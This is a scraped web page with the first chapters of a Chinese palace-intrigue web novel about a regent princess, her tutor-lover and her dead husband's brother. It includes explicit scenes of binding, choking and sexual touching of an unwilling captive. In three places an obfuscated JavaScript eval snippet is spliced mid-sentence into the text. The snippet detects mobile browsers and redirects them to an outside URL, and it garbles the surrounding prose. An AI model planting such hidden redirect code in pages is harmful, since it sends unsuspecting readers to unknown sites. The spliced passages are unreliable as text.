《驭犬GB》 1. 第 1 章 冬日的京城下起了漫天风雪,雪花飘摇之中,又是一年的正旦大朝会。 十二岁的小皇帝高坐明台,好奇的探着头看着殿里殿外黑压压的人群,明明天子就在座上,这些文武百官却还在东张西望,没有一人朝皇座下跪。 因为,他们要跪的,从来都不是那个没有半点实权的傀儡皇帝。 忽听内侍高唱“昭阳长公主到”,鼎沸的人声嘎然而止,文臣武将齐刷刷的下跪仰拜。 “参见长公主殿下,参见陛下。” ——竟是先参见长公主,然后才参见皇帝。上至正一品,下至从九品的京官上下,却竟没一人有丝毫的犹豫。 昭阳长公主身形颀长,身上一袭玄锦织金蟒袍,裙摆触地,水袖翩翩,华贵威严中自带一股风流;头上戴着仅次于皇帝的九珠冕旒,一张明艳张扬到了极致的脸在珠串下若隐若现。 此时辰时已经过了一刻,从东面初升的旭日就在缓步走上明台的女子身后,灼眼的日光让人不敢逼视。 “众卿平身。” 越长风走上台阶,在幼弟身侧悠然落座,目光缓缓扫过台下一众文武百官。 前排左首站着先帝遗诏的辅政大臣、中书令沈约,右首站着年纪轻轻便被冠以战神之称的镇北将军裴玄。 沈约衣冠楚楚,脸色淡定从容,而立之年却已是一副仙风道骨的样子;裴玄昂藏七尺,将袍难掩一身健硕壮美的肌肉,小麦色的脸上一片阳光开朗的气息。 女子的眼神似乎在这两人身上停留多了一刻,似有若无的笑意,透过重重冕旒让人难以看清。 “陛下。”她转头看向身侧一脸百无聊赖的皇弟,提醒道:“沈中书和裴将军在过去一年为朝廷劳心劳力,陛下是否应该有所表示。” 少帝如梦初醒,连忙摆手:“宣朕旨意,赏赐两位股肱大臣。” 内侍宣读早就已经拟好的圣旨,两位文臣武将之首一边听着,悄悄的对望一眼。那一眼不过顷刻之间,擦出的火花却清楚不过的落在越长风眼中——圣旨是她所拟,这两人一直在暗中摩拳擦掌,争的不过是她对自己多一点的青睐。 偏偏她拟的圣旨左一句沈中书推行新政,右一句裴将军改革军饷,两人都是一碗水端平,不仅遣词用字几乎一样,就连提起两人的篇幅字数也是分毫不差。越长风慵懒的靠着椅背,看着两位朝中栋梁一脸不甘又无可奈何地谢恩,只觉这例行公事的正旦大朝会也并不是那么无趣。 圣旨是以皇帝之名下达,沈约和裴玄谢恩却是对着皇座旁边的长公主。偏偏他们站在最前一列,身后的文武百官都看不见两人的眼神,看得见的小皇帝却又连大气也不敢喘。 “陛下。”越长风对着少帝,再次轻唤一声,“自古明君礼贤下士,陛下应该以身作则,亲自走下台阶扶起两位大人。” 少帝又一次恍然大悟,一脸受教的样子:“皇姐说的甚是。”然后跳下龙椅,小心翼翼的走下高台。 当今皇帝八岁登基,四年来朝政大事都是紧紧抓在昭阳长公主越长风手中。 就连皇帝也起身走到阶下,她卻懒懒安坐高台之上,冕旒下明艳绝美的脸孤傲高贵而泰然自若,彷佛她本来就属于那个位置,也彷佛天地之间只有她一个人配得高坐明台,睥睨众生。 这时少帝已经走到并排跪着的沈裴二人面前,一手虛扶一边,诚恳地看着两位朝中栋梁:“老师、将军为国辛劳,朕受之有愧,日后还请多多赐教。” 两人嘴上一边说着“不敢不敢”,眼神却已毫不掩饰的飘到高座上的越长风身上。 众人之上的女子似笑非笑,眸光深深缓缓扫过台下众臣,没有在任何一人身上停留。 散朝之后,文臣武将分成两边,众星拱月地拱在自己那边的头头周围。 “相爷新年大吉,同僚们都准备好到府上跟相爷拜年了。” 说话的是户部侍郎萧度,寒门出身,五年前科举入仕,没有世家门第作为后盾的他靠的便是这一张面面具圆的嘴脸混到四品之列。 户部尚书已到风烛残年,就连这次正旦大朝会也是告病在家,离告老回乡的日子想来不远——萧度在这个时候紧抱沈相大腿是为了什么,用脚趾头也想得出来。 沈约负手而立,下巴微微上扬,有礼却不失倨傲的淡淡一笑:“沈某尚有要事,诸位还请自便,记得初六上值。” 世家出身的大臣们都忍不住讥笑出声,这萧侍郎区区一介白衣出身,还妄想把热脸贴上沈相的冷屁股。 沈约恍若未闻,其实他的心早就不在这含元殿里。他三步并两步的走出含元殿外,向北一拐便往龙首原的高坡上走。 绕了一大段路,终于他停在宫城北面的玄武门前。 玄武门是皇城正北唯一的出入口,地据龙首原上的高坡,站在城楼上远者可以一览熙熙攘攘的繁华帝京,近者也可以俯瞰这座集天下所有权势于一处的肃穆宫城。 ——亦可以站在这个最容易控制整座皇城的制高点,纵观全局,发号施令,攻入皇城。 沈约看见了城楼上若隐若现的女子身影,迈开大步登上城楼。 越长风已经换下朝服,身上一袭素色纱裙,头上玉冠已除,灼眼的日光直接打在微微昂起的脸上,女子的容色没有冕旒的遮挡更显美艳绝伦。 素净的衣裙,不戴金玉的妇人发髻,那是一身未亡人拜祭亡夫的标准服饰。 听见背后的脚步声,越长风只是微微侧头,懒懒道:“大年初一,多的是要跟沈相拜年贺岁的门生,怎么独自一人走到这阴气过剩的玄武门来了。” 沈约右手拿着上朝用的笏板,像是拿着戒尺一般,有一下没一下地作势拍打左手手心。 “来看为师最得意的门生。”沈约说得一本正经,真有几分为人师表的样子。 “你的得意门生,是本宫,还是六年前死在这里的那几位?”越长风嘴角微勾,樱唇间一字一顿的吐出:“老师。” 语调慵懒,似嘲非嘲,彷佛在舌尖上回味着这两个字。 “为师门下不出败者。”沈约嘴里说着凉薄的话,脸上却依旧人畜无害的微微笑着。“而那一夜在玄武门前,为师只有一位门生活了下来。” “那本宫可不敢当沈相的门生了。”越长风走到男人身前,有意无意的顺走他手上笏板,拈在指间摩挲。“毕竟,本宫在那一夜,输掉了三位皇兄,还有我那白月光夫君。” “白月光夫君”五个字,说得别有深意。 沈约并不喜欢这样的答案,正要说些什么。 越长风拿着笏板,也像挥舞戒尺般戏谑地往他手板上打了一下,转身往城楼下走去:“走吧,是时候去拜祭本宫念念不忘的好驸马了。” 那句“走吧”似乎带有邀请的意思,沈约双目一亮,跟着她钻进等候多时的马车。 长公主府的车驾极尽奢华,宽广的车厢内茶几软榻应有尽有,车厢外四面皆有悬挂以金线双绣编织而成的九蟒图腾,唯恐途人不知这是堂堂摄政长公主的车驾似的。 大年初一多有在外走动到处拜年的百姓,远远看见长公主的车驾便自觉分开两边退到路旁。 车外的百姓不能窥得天颜,车内的人却能清清楚楚听见车外的窃窃私语。 “先驸马已经死了六年了吧。” “长公主真是长情,每年大年初一的还毫不避讳相冲,雷打不动的前去柳家墓园拜祭。” “可是长公主位高权重,要什么男人没有。” “据说长公主面首虽多,但六年来还不曾另招驸马,看来真的没有人比得过这位柳家公子。” “这是当然,这桩婚事是长公主当年亲手求来,一句柳家时言世无其二,非君不嫁,早已家传户晓了哩。” “那长公主还真是可怜,亲手求来的姻缘,不过两年便——” 车内沈约的眉头已经皱成了川字形。 “老师你看。”车里明明有大把空间,越长风却不知什么时候紧挨着他而坐,气息吐在他的耳畔,戏谑轻笑:“连百姓也说本宫可怜。” 她的语气轻佻散漫,好像她根本没有放在心上。 “长风。”沈约嘴唇微抿,似乎在控制自己伪装的情绪。他唤她长风的时候,总是以长辈的口吻说着与身份不符的话,就连自己也沉醉在师徒禁忌的戏中流连忘返。 “这夫妻情深,你到底还要在天下人面前演多久。” “好大的醋味。”越长风在他耳边轻笑,清脆的笑声有如珠玉落盘,一下下的打在他的心头。“为了一个学生,吃另一个学生的醋,这学生还是一个死人。” 玉指轻点他的鼻尖,惹得一本正经的男人微不可察的一颤:“这是为人师表的表现吗。” 沈约面色一沈,声音也沈了下去。 “为师不是……”不是什么?他的声音越说越轻,连自己也说服不了。 越长风拿着沈约的笏板,一把按在他的唇上。“比起说话,本宫还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029631|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢老师这张嘴做别的东西。” 嫣红的舌尖吐出唇外,微微向上一勾,暧昧的暗示不言而喻。 沈约依旧板着脸,泛红的耳根却已出卖了看似无动于衷的他。 越长风一手轻抚那已是烫红的耳珠子,一手悄悄把官服的重重衣襟拉开一条口子,像灵蛇般窜了进去。 沈约干咳两声:“这外面全都是人。” 越长风指尖一弹,一声低吟几乎便要从紧绷着脸的男人口中溢出。 “不想让外面的人听见沈相销魂的声音,那老师可就要忍住了。”越长风在他耳边,宛若鬼魅的呢喃。 沈约冷哼一声。 “你这是欺师灭祖!” 衣襟掀开,越长风把头埋在他的颈窝处,感受着他留在外面那和年龄不符的、柔滑苍白得近乎病态的肌肤,在她手下禁不住微微抖颤。 冷淡、寡情,一本正经的权臣帝师,此刻正在纵容甚至在无形之中诱导自己的学生欺师犯上。 微妙的割裂感让她气息加重,重重呼在男人脆弱的脖子上。 “老师不喜欢我这样?” 沈约闭口不言。 越长风低低一笑:“那就是喜欢了。” 她继续睁着一双明亮的眼睛说瞎话:“迎合老师的喜好,学生这是尊师重道。” 马车从城北出了京城,道路开始变得颠簸,马车也跟着上下摇晃。 一刻钟后,越长风已经坐到窗边,呆呆看着垂下的车帘。 沈约一脸冷静的整理着衣襟,却忽地听她开口:“老师看着我和柳郎长大。” 才刚对他做完那码子事,便可以如此波澜不惊地提起先夫,大概也只有她这一个没有心的女子—— “你也知道,我曾经心之所向,便只有他一个人。” 世无其二的柳家大郎已经死了六年,曾经人人艳羡的一对璧人只剩下百姓口中一句可怜、卻是离经叛道有著无数入幕之宾的公主一人;除了身为老师的沈约以外没有人记得也没有人知道,当年越长风在弱水三千之中为了取这一瓢,是真的什么也可以放弃。 如今身边绿草如茵,她看似自我放纵、游戏人间,实质心之所向,却唯有至高无上的权力。 沈约眸光深深,闷闷一笑:“为师知道。” “也只有为师,最是了解你。” 越长风不以为然的笑笑。男人总是喜欢证明自己的唯一性,她可没有这种癖好。 车驾嘎然停下。 先驸马柳时言就葬在京郊以北的柳家墓园里,从北门出去不久便到。 越长风把笏板往沈约手中一塞,也不理衣角凌乱,迳自跳下马车。 一旁等候已久的玄武卫递上早已备下的鲜花纸钱。 越长风看也不看便接了过来,目光一下定在墓园中心的一人身上。 她随口一问:“那是谁?” 人人皆知每年正月初一长公主都会来拜祭亡夫,每次到来之前都有人人闻之色变的玄武卫事先清场。 可如今竟然有人进得了来,还站在墓园中央先驸马的墓前。 那人背对着她,一身白衣,身形单薄,却是站得毕直,在飘雪之中犹如寒梅傲立。 “他是柳家的人。”玄武卫沈声回应。“应该是先驸马……的四弟。” 柳家大郎郎艳独绝,世无其二——至少昭阳公主是这样说的,坊间也就这样评价。可是在他殒落之后,却又出了一个柳家四郎。 然后时人又说柳家四郎惊才绝艳,不亚其兄;又跟最终向皇权低头尚了公主的大哥不同,他洁身自好,不近女色,不求功名,身在百年权贵的柳家之中却又孤高清贵不屑入世,仿佛高岭之上可望而不可摘的雪莲。 “难怪。”越长风的眼神像钉子一动不动的定在男子背上,嘴上却是不在意的轻蔑一笑:“你不觉得他们太像了吗。” “陆司使。” 陆行舟一直低垂的眼帘一抬,露出了眼中一言难尽的神色,却很快便又顺从臣服的低了下去。垂在两侧的双手抬起,下意识地为她整理还未掩好的衣襟,自然得好像这个动作他已经做过了千百遍。 “的确一样。”他的嗓音暗哑,听不出一丝感情:“一样的虚伪。” 越长风轻笑,被言简意赅的答案乐到。 “本宫就喜欢你这一针见血的本事。” 杀人如是,怼人也是。 “可是,陆司使如今位高权重,也喜欢自作主张了,嗯?” 2. 第 2 章 陆行舟低下头,沉声道:“是卑职失职。” 自作主张指的是私自把人放了进来,失职指的却是没有发现人进了来。 可是这柳家的人又是怎样从早早便来清场的玄武卫眼皮子底下混进来的? 这个问题可大可小,可越长风的心思根本就不在这里。 她低低一笑,语带戏谑:“本宫不记得有让你亲自前来。” “我可不敢让堂堂司使大人做一个小小侍从。” 陆行舟一怔,没有想到她那句“自作主张”说的不是墓园里的那个人,而是自己在她面前出现这件事。 “卑职永远都是主上的侍仆。”陆行舟右膝一屈,半跪下去,又去抚平她裙脚的皱褶。 越长风居高临下的俯视他,漫不经心的说:“本宫今天是和沈中书一同过来。” “你做这些,大可不必。” 这一身的衣衫不整是和谁弄出来的,他就算揣着明白,她也偏不让他装糊涂。 陆行舟往马车的方向看了一眼,手上动作却是不停,目光也很快便重新落在她的脚前。 直到她衣衫整齐,才站起身来,依旧一脸的木无表情。 “沈相和卑职各司其职,并不冲突。”陆行舟顿了顿,“近日京中并不太平,只有卑职在您身边……才能保护主上。” 他是说得如此的理所当然。 也是如此的自大。 越长风却毫不在意,把玩着手中雏菊,将花瓣一片一片的撕下、抛落,冷笑:“那些鬼魅魍魉,终于都要出来了吗。” 陆行舟点了点头,又摇了摇头。他凭着敏锐的直觉闻到了山雨欲来风满楼的前兆,可是任何实质的线索,他从六年前直到现在都还是捉不住、摸不到。 越长风从这一点头、一摇头便已明白他的意思,“本宫还怕那些阴沟里的老鼠不出来见见光哩。” “再不出来,这场游戏本宫还怎么玩下去。” 陆行舟默默看着她走进墓园,顺手拾起了她随手丢下的雏菊。 雏菊已是遍体鳞伤,花瓣零落不堪,剩下的也是皱成一团;他却珍而重之的捻在指间,举到鼻下细细一闻,然后悄无声息的收进怀里。 他的目光离开主上只有一瞬,然后便又默默的注视着她走向墓园中央的驸马陵前。 在越长风离陵前只有三步之遥的时候,陵前伫立的男子终于回过头来。 “见过长公主殿下。”男子嗓音清亮,看向她的眸子像湖面澄明无波,微扬的下颌棱角精致,好一副公子如玉的样子,柔和温润的表象之下却是带着无法触及的距离感。 说是见礼,人却站得毕直,不屈膝、不折腰。 越长风嗯了一声,似乎并不在意他看似有礼的无礼。 她一眨不眨的打量着面前男子,眉眼在阳光下别样的明艳,带着毫不掩饰的侵略性。 半晌,她才慢吞吞的说:“你是柳时言的弟弟。” 男子似是被她看得有些不好意思,眼帘微微一垂,点了点头。 越长风疑惑的问:“从前怎么没见过你。” 男子抬眼,直直的与她对视:“在下幼时体弱,被家族送到南境寄养,这几年才得以回来。” 完美的答案,他给得毫不犹豫。他的目光也是一片坦荡,当中好像还有一丝倨傲的挑衅,仿佛在问:殿下到底有多深爱大哥,怎么连他家中的事也不知道? 她对他的暗讽恍若未觉,又问:“你回京已有几年,难道不知正月初一是本宫拜祭先驸马的日子。” 柳四郎嘴角一勾,笑意微凉:“这里是柳家墓园,柳家人怎么就进不来了。” “大哥有夫人和小弟相伴,也不会嫌吵的吧。” ……好,好得很。 越长风气得发笑,眼前这人终于和记忆中的亡夫重合。 曾经的柳时言也是这样,温润儒雅,君子坦荡,但他也是百年望族的天之骄子,没有人敢去磨平他的棱角,天生的傲骨也从不轻易屈折。 十六岁初尝世事的她,偏偏就要把这样一株高岭之花折下。 时隔八年,一模一样的花她已经没有了折在手心的兴致,眼角往身后一瞥,低喝:“行舟。” 陆行舟听她唤自己的名字,头顶的乌云尽散,片刻之间便出现在她身后。 “主上。” “不该出现的人,就让他消失。”薄唇之间吐出凉薄的话。 “你犯的错,本宫就不予追究。” 柳四郎剑眉一竖:“国有国法,殿下就算大权在握,也不能——” “四郎认为,本宫想对你做些什么?”越长风灿然一笑,明丽的笑容晃得他有一下失神。她的声音轻柔婉转,和方才的冷厉截然不同,四郎两字的尾音拖得长长的,像是放在舌尖回味。 “杀了你?” 女子语笑嫣然,语气宛若情人之间最亲密的呢喃。 柳四郎脸色一沉,没有说话,大步流星的往墓园外走去。 背后是越长风银铃般的笑声。 “柳郎的未亡人,又怎会舍得杀了他的亲弟弟呢。” 她定定的凝视着那抹逐渐远去的背影,就算是被迫遁走,也没有一丝落荒而逃的意味,依旧傲骨铮铮,处之泰然。 直到身影消失,她才转过身子,默默把纸钱洒落在陵前的火盆里。 火盆里还有尚未烧尽的冥镪,似乎是那柳家四郎留下。 越长风头也不回,沉声道:“通知南境的人,好好给本宫查。” 要查什么,两人之间自是不言而喻。陆行舟拱手领命,再次退到五十步外,默默看着主上把手上纸钱燃烧殆尽。 最后,一份经文与世俗的纸钱冥镪格格不入,缓缓飘落火盆之中。 那是一张《忏悔偈》。说是忏悔,却是字迹潦草,肆意张扬,没有多少悔意。 越长风看着在她来前已经被小叔子打理干净的陵墓,脸上表情也是没有多少悔意:“你那四弟,还真像当年的你。” “如果我当初没有执意嫁你,如今的你,也会是这个样子吗。” 她自言自语的说着,似乎真的在深思这个问题的答案,半晌才摇了摇头:“你不会。” “因为,没有人逼你走上那样的路。” “你的本性如此,便已注定了你的结局。” 说罢,她毫无留恋地走出墓园,上车离去。 车上的沈约已经回复了衣冠楚楚的样子,剑眉星目,眼神锐利,白晰修长的手指一丝不苟的拿着笏板,一副权臣帝师应有的做派。 越长风坐到他的身旁,挨着他坐得笔直的身子,合上眼睛。 “殿下。”更过分的事情明明在他们来时都已经做了,此时沈约却是身体紧绷,声音压抑的出声提醒。 越长风却偏偏受用,看也不看便摸索着掩上他意欲喋喋不休的唇,“本宫现在只有老师了。” “你就不能把肩膀借本宫靠靠么。” 沈约:“……这种弥天大谎也亏殿下你闭着眼睛才能说得出口。” 他嘴里硬梆梆的说罢,身体却很诚实的不再挪动,任她倚着小寐。 马车在颠簸的山路上往来路回去,这一次车里静悄悄的,只有两人此起彼落的呼吸声。 陆行舟的直觉出奇的准确,帝京果然并不太平。 马车往京城的方向行了不久,变故突起。 不知从哪里突然冒出一队蒙面黑衣人,精湛的剑法直直往马车刺去。 陆行舟大喝一声,拔出长剑精准的刺进最前面的一人右心,又挽起剑花逼退其他相对靠近马车的人。 其余的玄武卫一拥而上,与黑衣人缠斗起来。 越长风一下惊醒,捂住沈约的嘴滚到车厢一角,又被沈约反客为主的翻身在上,高瘦的身躯紧紧把她护在一角。 黑衣人纪律严明,战力高强,就连集皇城精锐的玄武卫也无法速战速决,虽然占有上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15029632|162278||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风,却还是被一个黑衣人冲到车旁挑开车帘,剑光一闪,堪堪划过沈约的后背。 同一时间,越长风手中银簪掷出,命中咽喉。 余下的黑衣人几乎死伤殆尽,仅剩还活着的在将要被制服之际都咬破牙里的毒药自尽,不给玄武卫留下一丝审问的机会。 陆行舟打开车门,看见车上紧密相拥的两人,眼眸有一瞬间的黯然,却是直直跪下:“卑职失职,请主上降罪。” 越长风轻轻把已经痛晕过去、背上还淌着血的男人打侧放到榻上,除下银簪的发髻披散,衣衫还沾有沈约的血迹,依旧冷静的命令:“阴沟里的老鼠,全都就地埋了。” “背后的人不知道沈约就在车里,也不需要让他们知道。” “封锁消息,銮驾先进宫里,把太医院的申院首请来为沈相诊治。” “找个由头把薛常柳程四家之中在朝为官的人都请到玄武司去喝口茶,本宫便要看看,是哪一家先坐不住。” 陆行舟默默听罢,主上没有颁下对自己的处罚,他却也不敢问,只是言简意赅的应道:“卑职领命。” 越长风这才想起自己还没有对他降罪,长长叹了一口气,嘴角安慰似的微微一勾:“你虽自作主张跟着本宫,但是今天……幸好有你。” 陆行舟紧皱的眉头终于稍稍一松。 沈约的伤口不深,在宫中宿了一宵便坚持回府。越长风暂时宿在幼时居住的昭庆宫中,昭庆宫在她出宫开府后一直有专人打扫,随时准备公主回来小住,她在那里却总是睡不安稳—— 也许是因为昭庆宫离玄武门最近,而玄武门的怨气太重。 所以她在沈约出宫的时候索性便送他一程,之后立即打道回府。 越长风踏进院门,便迎上了匆匆跑来的常茵。 常茵是公主府中主事,自八年前越长风及笄的时候便已跟在她的身边,后来昭阳公主正式开府仪比亲王,又正式获授长史一职。 “柳家派人来了,说殿下从柳家墓园回京时遇刺是柳氏之过,特意送上一份礼物赔罪。” 越长风眼眸微眯,冷冷一笑:“本宫让玄武卫封锁消息,柳家可是毫不忌讳地往长公主府探查消息,还不怕本宫知道。” 常茵想了想,分析道:“殿下是在柳家墓园回京城的路上出事,柳家要是装作不知,那才是心中有鬼,欲盖弥彰。” “玄武卫对四大家族的人一番敲打,其他三家未必知道内情,可柳家是必须知道的,他们表忠越快,反而越能降低本宫的疑心。”越长风嘴角上翘,笑意更浓,却也越发冷冽:“不愧是百年柳家,没了一个柳时言,还有一个两个心思弯绕、精打细算的人。” “他们送了什么礼物过来?” 常茵欲言又止,顿了顿才答非所问的说:“就在殿下房里。” 越长风踏入主院卧房,遥遥看见床榻四周下了纱幔,隐约看见一抹身影在帐后微微挣扎扭动。 身影高挑而均称,不比沈约瘦弱,也没有裴玄和陆行舟的壮硕,反而似是一位故人。 越长风兴致顿起,大步走到床前把纱帐一揭,目光直直对上了床上之人寂静如一潭死水的双目。 她在宫中已经换下了染血的素衣,身上一袭大红华裳,更显艳若桃李,锋芒毕露。 另一边厢,男子身上只有薄薄的中衣,修长而骨节分明的双手被红绳绑在床头,笔直的双腿大开着被绑在床尾,从头到脚五花大绑的红绳让白色的中衣紧紧贴在身上,突出了身体起伏的线条,甚至更加凸显了属于男性的身体特征。 他的脸容却依旧是那样的平静,身体在任人鱼肉的羞耻状态之下,双眸却依旧如墓园初见,明净如湖,不卑不亢,可望而不可即。 越长风看着他的样子,欲望和禁欲的反差让她心里酸酸爽爽的,忍不住出声嘲弄:“他们说柳家送了礼物过来,本宫还以为是哪间南风馆里的当家小倌,原来是洁身自好的柳家四郎啊。” 3. 第 3 章 “殿下不好好养伤,把我绑来是为了什么?” 越长风笑了笑,芊芊玉手摸上男子的脖颈,开始慢慢地收紧。 男子下意识的挣扎,身上红绳却把他捆得动弹不得,他很快便放弃了,一副引颈就戮的样子,唯独那双平静无波的眼眸深处倨傲不屈,甚至隐有嘲讽之意。 白皙的脸色开始变得涨红,男子出气多、入气少,本能地张大嘴巴,喘气声越发急促,却也越发轻微…… 无瑕而冰冷的瓷器,还是到了将碎未碎的一刻,方才真实。 箍在颈间的手指一松。 越长风看着渐变迷离的双目,俯下身去,在他耳边轻笑:“四郎倒是聪明得很。” “你要是装作不知本宫遇刺,又或者事先知道本宫遇刺但没有受伤,本宫都不得不怀疑你——” “——然后杀了你。” 男子强行撑起头来重重咳嗽,咳了半晌才重新跌落枕上,合上眼睛,大口大口的吸着气;直到面色平复,才重新睁开眼睛。 眸光温润澄澈,比之前还要明亮一些。 他毫不畏惧的直视着刚刚只差一点就能把他送到阴曹地府的人,缓缓开口:“长公主金尊玉贵,何苦脏了自己的手。” 越长风笑而不语,一手解开他胸前交叉的绳结,一手解开那件贴身中衣的衣襟,伸手进去,不轻不重的描摹绳索留下的痕迹。 她的动作缓慢而温柔,眼神认真而满足,仿佛在鉴赏一件精致易碎的珍品。 “柳四郎这么清高矜贵的人,又怎会脏了本宫的手呢?” 指背如蜻蜓点水般轻划,越长风满意地看着故作镇静的男子一咬下唇,强忍住将要溢出口的低喘。 她往他还留有一圈指印的脖子上呼着气,看见他喉结一滚,还隐隐闻到他身上的松木清香。 甚是诱人。 “只是不知,本宫这样……又是否脏污了出淤泥而不染的高山雪莲。” 指尖微勾,修剪整齐的指甲涂着鲜红蔻丹,像好奇的旅人探索未知之地。 旅人走过起复不平的田园平野,来到高高屹立的山头脚下,正要拾级而上。 “不要。” 就算是一声惊呼,声音也是沙哑性感,尾音下垂,不像惊呼,更像轻叹。 越长风闻够了他身上松香,恋恋不舍的抬起头来,凝视着他泛红的眼尾。 长着这样一双古井无波、游离世外的眼睛,天生就是诱人打碎、染污。 明明身体是这么难以自控,心却还是这么高傲、自制,让人想要狠狠的玩弄。 兴致勃勃的登山者一下止住步伐,转而绕到后山。 她的动作温柔得近乎怜惜,仿佛在摩挲着一件稀世珍宝,却又带着不容抗拒的掌控。 男子本能地瑟缩,却又无法逃脱。 他的背部出奇的凹凸不平,似乎是某种结痂旧伤,她却看不清楚,也无暇深究。 ——倒是和白璧无瑕的柳时言不同。 越长风婉惜的叹了一口气,好奇的登山者继续探索的旅程。 “那里不要……”她缓缓启唇。 “难道你喜欢这里?” 男子的身体彻底僵直。 越长风俯下头去,鼻尖几乎要碰到男子高挺的鼻梁,松木清香再次沁入鼻中,夹杂着的还有男子紊乱的鼻息。 “你够了!” 冷静自持的郎君终于破防,几乎是大吼出声,口涎甚至喷到她的脸上。 越长风嘴角一扬,自进屋以来她一直都在笑着,却是直到现在这笑意才有半分真挚。 她定定的凝视着他的双目,本来平静的湖面已经起了涟漪,她的眼眸幽幽犹如深渊,仿佛要把壮阔起复的波澜统统吸到深渊深处,融为一体,全权支配。 “这样就够了?”她饶有兴趣的逗弄他,“柳家把你送来之前,难道没有教过你怎样侍奉本宫?” 一边说着,手指也不安分起来。 “我一踏入府门就被人敲晕了,”男子咬牙切齿,“你说呢?” “所以,你并不想侍奉本宫?”她明知故问,然后又故作可惜地叹了一口气。 “不过没关系。” “柳郎就是这么一步一步过来的。” 越长风长着一双欲语还休的桃花眼,在她专注地注视着一个人的时候,容易给人深情的错觉。说话的声音轻柔,尾音软糯,宛若情人之间的呢喃。 “你也会成为我的柳郎。” 男子大概是被哪句话刺激到了,眼帘垂下,在她看不见的眸中精光一闪,掠过一抹阴狠。 他忽然一口咬在她的颈侧。 不是情人之间的嬉戏情趣,是像饿狼一般的撕咬,虎牙深深陷进皮肉之中,血丝从齿间溢出。 越长风不得不挪开了手。 男子也礼尚往来的松口,低哑道:“我不是柳时言。” 越长风一怔,半晌才回过神来,她说他会成为她的柳郎,而可以得到堂堂昭阳长公主称呼一声“柳郎”的人,只有她曾经明媒正嫁的驸马,他的长兄柳时言。 “我是……柳孤城。”他抬眸注视着她,一字一顿的说道。 这人似乎很在意自己的名字。 越长风却不在意——她的脖子还流着被他咬出来的鲜血,反正就是姓柳的人咬的。 是那个和他一样表面清冷的人咬的。 越长风目光一冷,刚刚还在放在幽谷入口的手指轻轻抚过颈上伤口,沾着一丝血迹放在他唇上一寸之外。 “好啊,柳孤城。”她漫不经心的说,仿佛对他珍而重之的名字弃若敝履,“你弄脏本宫了。” 明明他把她咬伤了,在人体最脆弱的脖子上,她却好似毫不觉痛,目光专注于“弄脏了”的指尖。 她的指尖上,除了有他咬出来的血迹,还曾经碰到过他全身上下的隐秘之处。 “舔。”越长风冷冷的命令。 柳孤城咬着牙关,双唇闭得严丝合缝,一副宁死不屈的样子。 越长风脸色一沉,仅有的兴致已经消磨殆尽。 对柳时言她或许还曾经有过那样的耐心,可是他已经死了,所谓的情深带着三分求而不得的怀念,七分不过是做给有心人看的一场戏罢了。 连正主也是她亲手所杀。 更何况只是一件赝品。 越长风随手把指头往男子唇上一抹,然后头也不回的推门出去。 借着屋外的冷风,她大口大口的吸入又呼出,寒冷的空气让她的头颅重新变得清醒。 “人是怎么来的,便怎样把他送回柳家。”她压下心中躁动,冷声吩咐等在外面的長史常茵。 “……要再敲晕一次吗?”常茵看着她的眼色,小心翼翼地问。 越长风翻了一个白眼。 常茵干咳两声:“殿下,还有……陆大人来了。” 陆行舟风尘仆仆的,身上还有着一丝诏狱的铁锈味和血腥味。 越长风走到主位上坐下,单刀直入的道:“柳家把他们的小儿子送进来了。” 陆行舟的脸色没有什么变化,只有眸光微微一沉。 他看见了她脖子上正在凝结的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“本宫在六年前就想知道,在本宫那些好皇兄都死了之后,那些阴沟里的老鼠都藏到哪里去了。” “我就看看是他们先控制了本宫和朝廷,还是本宫先控制了他们。” ----- 越长风离开之后,屋里就只剩下柳孤城一人,他静静的躺在床上,明明是被红绳捆绑成羞于启齿的姿势,脸上表情却是一副闲适,仿佛他不过是来享受长公主府的高床软枕。 嘴角漾起了近乎诡异的浅笑。 当年昭阳公主下降柳家,他像阴沟里的老鼠一样,只能躲在见不得光的角落窥探。时隔六年,他终于窥得一丝“大哥”和她之间的相处点滴。 原来,他那“大哥”对越长风的百依百顺……竟是这种形式的顺从。 他还看到了越长风在鉴赏自己的身体时,额角的汗珠和温热的鼻息,无一昭示着她对自己并非没有欲望,只是与其说她是因为他的不配合而拂袖离去,不如说是她从一开始便没有真正想要共他沉沦,而是在用这种近乎自虐的方式试探并训练自身的克制力和忍耐力。 骄奢淫逸、游戏人间的表象之下,是她作为身娇肉贵的长公主本来并不需要的、经历千锤百炼而成的坚强意志。 柳孤城躲在暗处窥探多年,终于第一次看见了越长风的真正面目。 可是,柳孤城并不害怕。要说自虐,他又何尝不是一个以身作饵、以小博大的疯狂赌徒? 柳孤城伸出舌尖,依依不舍的舔舐唇上属于女郎的鲜血。 4. 第 4 章 大年初六,百官正式点卯上值。 沈约在那日回府之后牵动伤口发了高热,本该在紫宸殿举行的小朝会因为作为内阁之首的沈中书告病在家而不得不临时取消。 